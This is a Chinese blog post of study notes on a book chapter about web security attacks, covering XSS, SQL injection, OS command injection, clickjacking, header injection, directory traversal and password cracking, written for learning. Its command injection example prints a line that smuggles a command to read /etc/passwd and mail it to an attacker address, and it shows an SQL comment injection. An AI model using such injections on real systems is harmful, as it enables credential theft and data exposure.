《图解http》学习总结 第十一章(2020.12.06)

250 阅读7分钟

大家好,因为个人水平有限,肯定会有不准确的地方,希望多多指教!

q1: 主动攻击与被动攻击?

主动攻击

主动攻击(active attack)是指攻击者通过直接访问 Web 应用, 把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注入攻击。

被动攻击

被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标 Web 应用访问发起攻击。

q2:xss攻击介绍?

跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的 Web 网站注册用 户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。动态创建的 HTML部 分有可能隐藏着安全漏洞。

方式

  1. 利用虚假输入表单骗取用户个人信息。
  2. 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下, 帮助攻击者发送恶意请求。
  3. 显示伪造的文章或图片。

案例

攻击者在一个服务器上书写一些获取表单信息或者获取cookie的脚本,然后再利用欺诈邮件或者网页让用户触发该脚本,该脚本就会自动将用户信息发送到攻击者的服务器上,而且用户并不知情。

获取cookie的脚本:

运行过程

扩展:

在vue中作者就明确表明了v-html应该慎重使用!

q3:sql注入攻击介绍?

SQL是用来操作关系型数据库管理系统(Relational DataBase Management System,RDBMS)的数据库语言,可进行操作数据或定义数据等。

SQL注入(SQLInjection)是指针对 Web 应用使用的数据库,通过运行非法的 SQL而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。

案例

当输入”上野宣“时,用户应该获得的是不包含上野宣已绝版书籍的信息列表。

此时执行的sql语句是:

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = '1'

该 SQL语句表示“从 bookTbl 表中,显示满足 author = 上野宣 and flag=1(可售)所在行的数据。

bookTbl 长这样:

此时一个了解sql的攻击者就想到了坏主意:把刚才指定查询字段的"上野宣"改写成“上野宣' --”。

sql查询语句就会变成:

SELECT * FROM bookTbl WHERE author = '上野宣' --' and flag = '1'

因为SQL语句中的 -- 之后全视为注释。即and flag=1 这个条件被自动忽略了,就会将原本不应该显示的已绝版的书籍信息显示了。

本案例中的问题仅仅是把未出版书籍的条目也一同显示出来了。但实际发生 SQL注入攻击时,很有可能会导致用户信息或结算内容等其他数据表的非法浏览及篡改,从而使用户遭受不同程度的损失。

q4:OS 命令注入攻击介绍?

OS(Operating System):操作系统。

OS 命令注入攻击(OS Command Injection)是指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。只要在能调用 Shell 函数的地方就有存在被攻击的风险。

案例:

系统的核心代码如下:

此时一位了解OS命令的攻击者想到了一个坏主意:用某种手段把你的运行改成这样。

| /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp

这样你在发送邮件后,会打开etc下边保存密码的passwd文件并发送到hack@example.jp邮箱了。

q5:点击劫持介绍?

点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在 Web 页面之上。然后诱使用户在不知情的情况下,点击那个链接 访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)。

案例:

q6:DoS 攻击

DoS 攻击(Denial of Service attack)是一种利用访问请求造成资源过载或者通过攻击安全漏洞让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对象不仅限于 Web 网站,还包括网络设备及服务器等。

q7:HTTP 首部注入攻击与HTTP 响应截断攻击?

HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行(%0D%0A),添加任意响应首部或主体的一种攻击。属于被动攻击模式。

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同,但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。

邮件首部注入攻击与之相类似。

q8:目录遍历攻击

目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录, 通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击。

在文件权限没有限制的条件下,加入攻击者在了解你的目录结构,利用相对路径可以获取到密码文件。

q9:因设置或设计上的缺陷引发的安全漏洞

强制浏览

强制浏览(Forced Browsing)安全漏洞是指,从安置在 Web 服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。

案例

不正确的错误消息处理

Web 应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说,详细的错误消息有可能给他们下一次攻击以提示。

案例

开放重定向

开放重定向(Open Redirect)是一种对指定的任意 URL作重定向跳转的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导至那个 Web 网站。

可信度高的 Web 网站如果开放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板。

q10:密码破解?

方法

  1. 通过穷举法或字典攻击进行类推
  2. 彩虹表
  3. 拿到密钥
  4. 加密算法的漏洞
字典攻击

字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手 法。

假如银行采用个人识别码是“4 位数字”的密码的例子,考虑到用户使用自己的生日做密码的可能性较高,于是就可以把生日日期数值化,如将 0101~1231 保存成字典,进行尝试。

与穷举法相比,由于需要尝试的候选密码较少,意味着攻击耗费的时间比较短。但是,如果字典中没有正确的密码,那就无法破解成功。因此攻击的成败取决于字典的内容。

彩虹表

彩虹表(Rainbow Table)是由明文密码及与之对应的散列值构成 的一张数据库表,是一种通过事先制作庞大的彩虹表,可在穷举法或字典攻击等实际破解过程中缩短消耗时间的技巧。